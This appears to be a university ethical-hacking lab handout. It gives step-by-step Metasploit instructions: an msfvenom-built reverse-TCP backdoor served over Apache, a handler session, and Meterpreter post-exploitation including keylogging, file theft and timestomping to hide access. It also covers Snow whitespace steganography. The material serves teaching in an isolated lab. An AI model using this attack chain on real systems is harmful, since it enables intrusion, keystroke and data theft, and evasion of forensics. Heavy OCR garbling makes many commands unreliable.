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Introduction

System hacking is the science of testing computers and network for vulnerabilities and harmful plug-ins.
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Task 1: Hacking Windows 10 Using Metasploit and Post-exploitation using Meterpreter

Metasploit Framework is a tool for developing and executing exploit code against a remote target machine.
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Getting started, you need:
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Lab Tasks
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Lab Analysis

Analyse and document the results related to the lab exercise. Provide your opinion of your target’s security posture and exposure through public and free information.









Task 2: Hiding Data using White Space
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To carry out the lab you need:
· Snow located at https://uowtsd-my.sharepoint.com/:f:/g/personal/carlene_campbell_uwtsd_ac_uk/EuRpTYcHLLRBsGfR89SmUPcBhlpAQRYa9ha2ITSNfqhoDA?e=sppv1C 
· Download the latest version of Snow at http://www.darkside.com.au/snow/. 
· If you wish to download the latest version, then screenshots shown in the lab might differ.
· Run this tool on Windows Server 2016
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Lab Task
1. Navigate to https://uowtsd-my.sharepoint.com/:f:/g/personal/carlene_campbell_uwtsd_ac_uk/EuRpTYcHLLRBsGfR89SmUPcBhlpAQRYa9ha2ITSNfqhoDA?e=sppv1C Shift+right-click the Snow folder, and select Open command window here from the context menu.
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Lab Analysis

[bookmark: _GoBack]Analyse and document the results related to the lab exercise. 
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Password cracking is one of the crucial stges of system hacking, Hacking often begins
with password cracking attempts. A password is a key piece of informaton necessary
m access 4 system. Consequently, most attackers use password cracking techniques w
gain unauthorized access. An atracker may either crack a password manually by
guessing it, or use automated tools and techniques such as a dicdonary or a brute-force
method. Most password cracking techniques are successful because of weak or easily
guessable passwords.

The labs in this module demonstrate just how easily hackers can gather password
informaton from vour network, and describe password vulnerabilities thart exist in
computer networks, as well as countermeasures w help prevent these vulnerabilides
from being exploited on vour systems.
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Lab Scenario

Backdoors are malicious files that contain Trojan or other infectious applications
that can either halt the current working state of a rarget machine or even gain
partial /complete control over it. Attackers build such backdoors in attempt to
gain remote access to the victim machines. They send these backdoors through
email, file-sharing web applications, shared nerwork drives, among others, and
entice the users to execute them. Once a user executes such application, an
attacker can gain access to his/her affected machine and perform activities such
as keylogging, sensitive dara extraction, and so on, which can incur severe damage
to the affected user.

Lab Objectives

The objective of this lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of this lab include:

® Creating a server and testing the network for atrack

®  Arracking a network using a sample backdoor and monitor system activity
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Kali Linux running in Virtual machine
Windows 10 running in virtual machine (Victim machine)
A web browser with Internet access

Administrative privileges to run twols
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Overview of the Lab

Trojan is a program that contains a malicious or harmful code inside apparently
harmless programming or data in such a way that it can get control and cause
damage, such as ruining the file allocation table on a hard drive.
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Note: Make sure to disable Windows SmartScreen and Windows Defender in

Windows 10

1. Before beginning this lab, create a text file named secret.txt on the
Windows 10 virtual machine; write something in it, and save it in the
location C:\Users\Admin\Downloads.

2. In this lab, the secret.txt file contains the text “My credit card account
number is 123456789."

Downloads

Hame Share View

« 4 ¥ » ThisPC » Downloads v | @ | Search Downloads

Name Date modified Type
# Quick access

secreb.bit T1/97207 911 PM  Text Document
[ Desktop L =

‘ Downloads

< Documents

FIGURE 8.1: Text file contining account number

3. Login to Kali Linux virtual machine

4. Launch a Command line terminal




image8.tmp
he command msfvenom -p windows/meterpreter/reverse_tcp --
platform windows -a x86 -e xB6/shikata_ga_ nai -b "x00"
LHOST=10.10.10.11 -f exe > Desktop/Backdoor.exe and press Enter.

root@kali: ~

ile Edit View Search Terminal Help
:~# msfvenom -p windows/meterpreter/reverse tcp --platform windows -a x86
-e x86/shikata_ga nai -b "\x00" LHOST=10.16.10.11 -f exe > Desktop/Backdoor.exe
ound 1 compatible encoders
ttempting to encode payload with 1 iterations of x86/shikata ga nai
86/shikata ga nai succeeded with size 368 (iteration=8)
86/shikata ga nai chosen with final size 360
‘ayload size: 368 bytes
inal size of exe file: 73802 bytes
H
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r on the Desktop.

Applications - Flaces «

" mwm |

Backdoor
EXE
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To share tt un

service apache2 start

root@kali: ~

ile Edit View Search Terminal Help

:~# msTvenom -p windows/meterpreter/reverse tcp --platform windows -a x86
-e x86/shikata_ga nai -b "\x@0" LHOST=10.10.10.11 -T exe > Desktop/Backdoor.exe
ound 1 compatible encoders
ttempting to encode payload with 1 iterations of x86/shikata_ga_nai
«86/shikata_ga nai succeeded with size 360 (iteration=0)
«86/shikata_ga nai chosen with final size 368
‘ayload size: 360 bytes
“inal size of exe file: 73802 bytes

:~#|service apache2 start

3
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9. Now the apache web server is running, copy Backdoor.exe into the
share folder.
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root@kali: ~

Edit View Search Terminal Help
:~# cp /root/Desktop/Backdoor.exe /var/www/html/share/

e |
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msfconsole

root@kali: ~

ile Edit View Search Terminal Help

=1
- ]
=1
=1

1682 exploits - 964 auxiliary - 297 post
498 payloads - 48 encoders - 18 nops
Free Metasploit Pro trial: http://r-7.co/trymsp

isf = use exploit/multi/handler
st exploit( I | >





image14.tmp
Tvpe set payload windows/meterpreter/ireverse_tcp and pre
Enter.

rootidkali: ~

sf exploit( ) =set payload windows/meterpreter/reverse tcp
ayload => windows/meterpreier/reverse tcp

sf exploit( ) =|set LHOST 18.16.16.11

HOST == 16.18.18.11

st exploit( ) =[show options

odule options (expleit/multishandler):

ayload options {windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: . seh, thread, process, none)
LHOST 16.16.18.11 yes The listen address
LFORT 4444 yes The listen port

xploit target:
Id HName

] Wildcard Target

sf exploiti
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exploit -j -z

lylodd options ‘erIdOwS.-"mLT.EI‘prEL&U’I‘L’VEJ’S& teph:

Name Current Setting Required Descriptien

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 16.10.198.11 yes The listen address

LPORT 4444 yes The listen pert

xploit target:
Id HName

® Wildcard Target

st exploit(handler) >[exploit -j -z

=] Exploit running as background job 8.

*] Started reverse TCP handler on 18.18.18.11:4444
sf exploiti
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15. Log on to the Windows 10 virtual machine.

16. Launch Hrefox or any web browser, and type http://10.10.10.11/share/
in the URL field, then press Enter.

Note:10.10.10.11 is the IP address of Kali Linux, which may vary in vour
lab environment.

17. (ick the Backdoor.exe link to download the backdoor file.

Indes of fshare

l © 10.10.10.11/share/

ndex of /share

Name Last modified Size Description

o Parent Directory -
1] Backdoorexe| 2017-11-1001:05 72K
] loit.exe 2017-11-08 06:47 72K

fre/2.4.27 (Debian) Server at 10.10.10.11 Port 80
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18. The Opening Backdoor.exe pop-up appears; click Save File.

Note: Make sure both the Backdoor.exe and secret.txt files are in the
same directory.

Opening Backdoor.exe

You have chosen to open:

(85 Backdoor.exe
which is: Binary File (72.1 KB)

from: http://10.10.10.11

Would you like to save this file?





image18.tmp
19. By default, this file is stored in C:\WUsers\Admin\Downloads.
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20. On completion of download, a download notification appears in the
browser. Click Open Containing Folder.

Indes of fshare

® 10.10.10.11/share/ ot w8 ’_T_‘ ® U g =

Firebug changed the Web. See haw it lives or : Backdoor.exe Learn Mare
¢ Campleted — 721 KB

ndex of /share

Shew All Dewnloads

Name Last modified Size Description

@ Parent Directory -
Backdoorexe 2017-11-1001:05 72K
Exploit exe 2017-11-09 06:47 TIK

dpache’2.4.27 (Debian) Server ar 10.10.10.11 Port 50
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Backdoor.exe. [f an Open File - Security Warning
Run.

to the Kali Linux n

vn in the f

ile Edit View Search Terminal Help

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '*, seh, thread,
process, none)

LHOST 16.10.16.11 yes The listen address

LPORT 4444 yes The listen port

-xploit target:
Id Name

©® Wildcard Target

st exploit( } = exploit -j -z
*] Exploit running as background job @.

*] Started reverse TCP handler on 10.10.10.11:4444

isf exploit( ) = [*] Sending stage (179267 bytes) to 10.10.10.10

*] Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.10:49821) at 2017-1
-10 ©1:43:48 -0500

| T -
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sessions - -_ Enter to

root@kali: ~

rch  Terminal Help

Id Name

8 Wildcard Target

nsf exploit(handler) > exploit -j -z
*] Exploit running as background job @.

*] Started reverse TCP handler on 10.10.10.11:4444

nsf exploit(handler) > [*] Sending stage (179267 bytes) to 16.10.10.16

*] Meterpreter session 1 opened (10.16.10.11:4444 -> 10.10.10.10:49821) at 2017-1
-10 01:43:48 -0500

sessions -1

ctive sessions

Connection

Id Type Information

[1 meterpreter x86/windows DESKTOP-SV6DCV1\Admin @ DESKTOP-SV6DCV1 10.108.10.1
1:4444 -> 10.10.10.10:49821 (10.10.10.18)

st exploit(handler) >
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= sessions —i 1 :
th

id numb

the foll

root(@kali: ~

File Edit View Search Terminal Help
6 Wildcard Target

5T exploit( ) = exploit -j -z
*] Exploit running as background job 8.

*] Started reverse TCP handler on 10.10.10.11:4444

st exploit( } = [*] Sending stage (179267 bytes) to 10.10.10.18

*]1 Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.10:49821) at 2017-1
-10 B1:43:48 -0500

essions -1

ictive sessions

Id Type Information Connection

1 meterpreter x86/windows DESKTOP-SV6DCV1\Admin @ DESKTOP-SVW6DCV1 16.10.16.1
14444 -> 10.10.10.10:49821 (16.16.16.10)

nsf exploit( } = sessions -i 1
*] starting interaction with 1...

eterpreter =
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sysinfo

root(@kali: ~

File Edit View Search Terminal Help

*] Meterpreter session 1 opened (10.16.10.11:4444 -> 16.10.10.10:49821) at 2017-1
-16 ©1:43:48 -0500

essions -1i

ctive sessions

Id Information
al meterpreter x86/windows DESKTOP-SVEDCV1ZAdmin @ DESKTOP-SVGEDCV1
1:4444 -> 19.10.10.10:49821 (10.10.16.10)

st exploit( ) = sessions -1 1
*] Starting interaction with 1...

eterpreter = syslnfo

_omputer DESKTOP-SVeDCV1

)5 : Windows 10 (Build 15063)
rchitecture 1 X64

ystem Language : en_US

Jomain : WORKGROUP

ogged On Users : 2

leterpreter : %86/windows

eterpreter =
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Interface 1

lame

Tu
[Pv4 Address

[Pv4 Netmask :

[Pv6 Address
[PV Netmask

[nterface 3

me

iTU
Pv4 Address

[Pv6 Address

root(@kali: ~

Search Terminal Help

: Software Loopback Interface 1
fardware MAC :
: 4294967295

00:00:00:00:00:00

127.0.0.1
255.0.8.80
==

HE SR R AR AR AR AR AR R R

: Microsoft Hyper-V Network Adapter
iardware MAC :

00:15:5d:00:39:03
1580

:110.10.10.10

Pv4 Netmask :
: feBO::81e@:b2c3:6212:785a
[Pv6 Netmask :

255.0.0.0

TEff:FEff:FEFF-FFFF::
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27. Type getuid and press Enter.

28. Running getuid will display the attacker that the Meterpreter server is
administrator on the host.

running

erver us TOP-5SVYEDCV1\Admin
eterpre r
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29. Type pwd and press Enter to view the current working directory on the

remote (target) machine.

Note: The current working directory will differ according to where you
have saved the Backdoor.exe file, therefore the screenshots mighrt differ
in your lab environment.

root(@kali: ~

ile View Search Terminal Help
eterpreter > getuid

e userna TOP-SVEDCY1\Admin





image27.tmp
root@kali: ~
ile Edit View Search Terminal He
eterpreter > s
isting: C:\Users\Admin\Downloads

Type Last modified

BATTT/ rWrwxrwx fil 2017-11-10 B1:43:28 -0508
G666/ rw-rw-rw- fil 2817-11-16 00:11:43 -85808

eterpret

LEIE
Backdoor.exe
secret.txt
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fatextt ¢ cat filename.txt (here, secret.txt)

root@kali: ~
File Edit View Search Terminal Help

lode Size Type Last modified Name

BOTTT/rwxrwxrwx 73882 fil 2017-11-16 B81:43:28 -0500 Backdoor.exe
LBB666,/ rw-rw-rw- 43 fil 2817-11-16 B80:11:43 -8588 secret.txt

eterpreter > cat secret.txt
v credit card account number is 1234567829 meternreter = M [
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L
[R]

. Change the MACE attributes of secret.exe.

33. While performing post exploitation activities, a hacker tries w access files
to read their contents. Upon doing so, the MACE arttributes change
immediately, which gives an indication to the file user/owner that
someone has read or modified the information.

34. To leave no hint of these MACE artrributes, use the dmes to mp command
to change the atrributes as vou wish after accessing a file.

35. To view the mace atrributes of secret.txt, typc timestomp secret.txt -v
and press Enter. This displays the created time, accessed time, modified

ime, and entry modified time, as shown in the screenshot:

File Edit View Search Terminal Help
66/ rw-rw-rw- 43 fil  2017-11-10 00:11:43 -0500

rprete Ltxt

credit card account number is 123456789.meterpreter
MACE attribut
2017-11-10 €
2017-11-18 o
17-11-18 @
7
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The ed comm

the current we

root(@kali: ~

ile Edit View erminal Help

eterpreter > cat secret.txt

Iy credit card account number is 123456789.meterpreter > timestomp secret.txt -v
*] Showing MACE attributes for secret.txt

lodified : 2017-11-10 ©09:11:43 -0500
ccessed : 2017-11-10 00:11:11 -0500
reated : 2017-11-10 08:11:11 -0500

ntry Modified: 2017-11-10 808:11:43 -8500

eterpreter =/ cd C:\
eter
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38. Now type pwd and press Enter.

39. Observe that the current remote directory has changed to €.

root@kali: ~

File Edit View Search Terminal Help
ntry Modified: 7-11-10 06:11:43 -0500
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lle Edit

ieterpreter =|1s
istin \

lode
10777/ rWX rWX WX
10777/ rwx rwxrwx
BO666/ rw-rw-rw-
BT 77/ PWX PWX WX
18777/ rw rWx rwx
BFTT/ rWX rWX WX
18555/ r-Xr-xr-x
10555/ r-Xr-xr-x
10777/ rwx WX rwx
BFTT/ rWX rwWX rwx
10777/ rWX PWX WX
18555/ r-xr-xr-x
BFTT/ FWX TWX MW
18777/ rwX rwx rwx
eo444/r--r--r--
LBOTTT/ rwx rwx rwx
18777/ rwxrwx rwx
1777/ rWX rWX WX
1160f === x
181 e X

eterpreter =

arch  Terminal

8192
B192
4096

(0]

4096
4096
28672
4096
395268
24265736
0]

4096
34339964
34339964

Help

Type
dir
dir
fil
dir
dir
dir
dir
dir
dir
dir
dir
dir
dir
dir
fil
fil
dir
dir
fif
fif

root@kali: ~

Last modified
2017-10-12
26017-11-81
2015-87-18
2015-87-10
2017-16-11
2017-83-18
2817-11-81
2017-11-89
2017-11-82
2017-11-81
2017-11-01
2017-11-81
2017-11-88
2017-11-81
2015-87-10
2017-11-82
2017-11-81
2017-11-083
1969-12-31
1969-12-31

i44:
)
100
121z
$23:
HER
:30:
i11:
122:
149:
123:
128:
:45:
=17
:80:
s25:
149:
H=1
H: B
100:

31
38
31
38
a7
28
49
43
a6
12
43
]
29

139

31
39
02
13
i:]
ae

-8408
-0408
-8408
-0408
-0408
-8408
-0408
-8508
-0408
-@8488
-8400
-8408
-8508
-0408
-8408
-0408
-0488
-8408
-a568
-@8508

Name
$Recycle.Bin
SWINDOWS.~BT
BOOTNXT
Documents and
FTP

PerfLogs
Program Files
Program Files
ProgrambData
Recovery
System Volume
Users

Windows
Windows.old
bootmgr
dotnetfx.exe
inetpub
kfsensor
pagefile.sys
swapfile.sys

Settings

(xB6)

Information
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mir

download filename.extension

Enter.

ch Terminal Help

ieterpreter > download dotnetfx.exe

*] Downloading: dotnetfx.exe -= dotnetfx.exe
*] Downloaded 1.08 MiB of 23.14 MiB (4.32%): dotnetfx.exe -> dotnetfx.exe
Downloaded dotnetfx.exe -> dotnetfx.exe
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded
Downloaded

1
1 .00 MiB of 23.14 MiB (8.64%):

1 .00 MiB of 23.14 MiB (12.96%): dotnetfx.exe -> dotnetfx.exe
] .00 MiB of 23.14 MiB (17.28%): dotnetfx.exe -> dotnetfx.exe
1 .08 MiB of 23.14 MiB (21.61%): dotnetfx.exe -> dotnetfx.exe
1 .06 MiB of 23.14 MiB (25.93%): dotnetfx.exe -> dotnetfx.exe
] .80 MiB of 23.14 MiB (30.25%): dotnetfx.exe -> dotnetfx.exe
] .80 MiB of 23.14 MiB (34.57%): dotnetfx.exe -> dotnetfx.exe
1 .00 MiB of 23.14 MiB (38.89%): dotnetfx.exe -> dotnetfx.exe
] Downloaded 10.00 MiB of 23.14 MiB (43.21%): dotnetfx.exe -> dotnetfx.exe
] Downloaded 11.80 MiB of 23.14 MiB (47.53%): dotnetfx.exe -> dotnetfx.exe
*] Downloaded 12.08 MiB of 23.14 MiB (51.85%): dotnetfx.exe -> dotnetfx.exe
*]1 Downloaded 13.00 MiB of 23.14 MiB (56.18%): dotnetfx.exe -> dotnetfx.exe
i |

1

1

|

1

1

1

|

1

1

1

1

+

W~ b Wk

Downloaded 14.00 MiB of 23.14 MiB (60.5%): dotnetfx.exe -> dotnetfx.exe
Downloaded 15.80 MiB of 23.14 MiB (64.82%): dotnetfx.exe -> dotnetfx.exe
Downloaded 16.60 MiB of 23.14 MiB (69.14%): dotnetfx.exe -> dotnetfx.exe
Downloaded 17.00 MiB of 23.14 MiB (73.46%): dotnetfx.exe -> dotnetfx.exe
Downloaded 18.00 MiB of 23.14 MiB (77.78%): dotnetfx.exe -> dotnetfx.exe
Downloaded 19.00 MiB of 23.14 MiB (B82.1%): dotnetfx.exe -> dotnetfx.exe
Downloaded 20.00 MiB of 23.14 MiB (86.42%): dotnetfx.exe -> dotnetfx.exe
Downloaded 21.00 MiB of 23.14 MiB (90.75%): dotnetfx.exe -> dotnetfx.exe
Downloaded 22.80 MiB of 23.14 MiB (95.87%): dotnetfx.exe -> dotnetfx.exe
Downloaded 23.60 MiB of 23.14 MiB (99.39%): dotnetfx.exe -> dotnetfx.exe
Downloaded 23.14 MiB of 23.14 MiB (100.0%): dotnetfx.exe -> dotnetfx.exe
download : dotnetfx.exe -> dotnetfx.exe

aterpreter = || ™
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Backdoor.

exe

Home

Desktop

Documents
Downloads
Music
Pictures

Videos

Computer

Browse MNetwork
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44. The downloaded file is available in the home folder as shown in the
following screenshor:

Desktop Documents  Downloads Music Pictures Public Ternplates

[ Documents Videos  Wordlists
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. The search command helps vou locate files on the victim machine. The

command is capable of s e’:cl g through the whole system or specific

folders.

46. Type search -f “filename.ext” (here pagefile.sys) and press Enter.

le Edit View Search Terminal Help
1 Downl
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47. Type keyscan_start and press Enter. This st

ts capturing all keyboard
input from the victim system.

root@kali: ~

File Edit View Search Terminal Help
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48. Switch back to the Windows 10 machine, create a text file and start
yping something.

| impertant.te - Notepad

le Edit Format View Help
phone number is xooooooooe and my email address is xxxxxxxxmd
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keyscan_dump and pr

root@kali: ~

File Edit View
eterpreter = keyscan start
starting the keystroke sniffer

ieterpreter = keyscan dump
umping captured keystrokes...
mportant<shift=My phone number is xxxxxxxxxx and my email address is xOOOOOXX

sterprete
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. Type idletime and press Enter.

51. Issuing this command displays the number of seconds for which the
user has been idle on the remote system.

root@kali: ~

File Edit View Search Terminal Help
eterpreter > keyscan_dump
jumping captured keystrokes...

is X0 and my email address is
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52. You may shut-down the vicim machine after performing post
exploitation.
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root@kall: ~
File Edit -
neterpreter = shutdown

shutting down. ..

1!:;grprg ter >
*] 10.10.19.18 - Meterpreter session 1 closed. Reason: Died
eterpreter = B |
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The virtual machine "Windows 10" is turned off

To start the virtual machine, select "Start’ from the Action menu





image44.tmp
Snow & used 1o conceal maessages in ASCII todt by afypending nhitespace o the end of lines. Becanse
paces and tabs are generall not visihk in fodt aver, the mesage is gféctively bidden from casmal
oservers. And if’ the bualt-in encryption is ised, the message cannot be read even if it is dltected,
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Lab Scenario

Nerwork steganography deseribes all the methods used for ransmiting data over a
network without it being detected. Several methods for hiding dam in a network have
been proposed, but the main drawback of most of them is that they do not offer a
secondary layer of protecton. If steganography is detected, the dam is in plain text.
Arrackers use steganography to mransfer sensitve information out of the target system
undetected. To be an expert Ethical Hacker and Penetration Tester, vou must have a
sound knowledge of various steganography techniques.
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Lab Objectives

The objective of this lab is to help students learn:
= Using Snow steganography to hide files and dara
= Hiding files using spaces and rabs
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Overview of Snhow

Snow exploits the steganographic natre of whitespace. Locating trailing whitespace
in textis like findinga polar bear in a snow storm, it uses the ICE encryption algorithm,
o the name is themadcally consistent.
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2. Open notepad, type Hello World! and press Enter; then long press hyphen o
draw a line below it.

3. Save the file as readme.txt in the folder where SNOW.EXE is located.
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4. Type this command in the command shell:

snow -C -m "My swiss bank account number is 45656684512263" -p
"magic"” readme.txt readme2.txt.

(Here, magic is the password. You can type vour desired p
readme2.txt is the name of another file which will be created a
in the same location.)

ord also.
iomatically

Windowshoystem3d ernd.ene
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5. Now the dam (“My Swiss bank account number is 45656684512263") is
hidden inside the readme2.txt file with the contents of readme.txt.
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The contents of readme2.txt are readme.txt + My Swiss bank account
number is 45656684512263.

Now type snow -C -p "magic” readme2.txt, it will show the contents of
readme.xt (magic is the password which wa

entered while hiding the d

B Admministrator v system 3 ermdexe





image52.tmp
8. To check the file in GUI, open the readme2.txt in notepad and go to Edit <
Select all. Youwill see the hidden dam inside readme2.txt in form of spaces
and tabs.

“ readmel b - Notepad

ile Edit Format View Help

Hello World!
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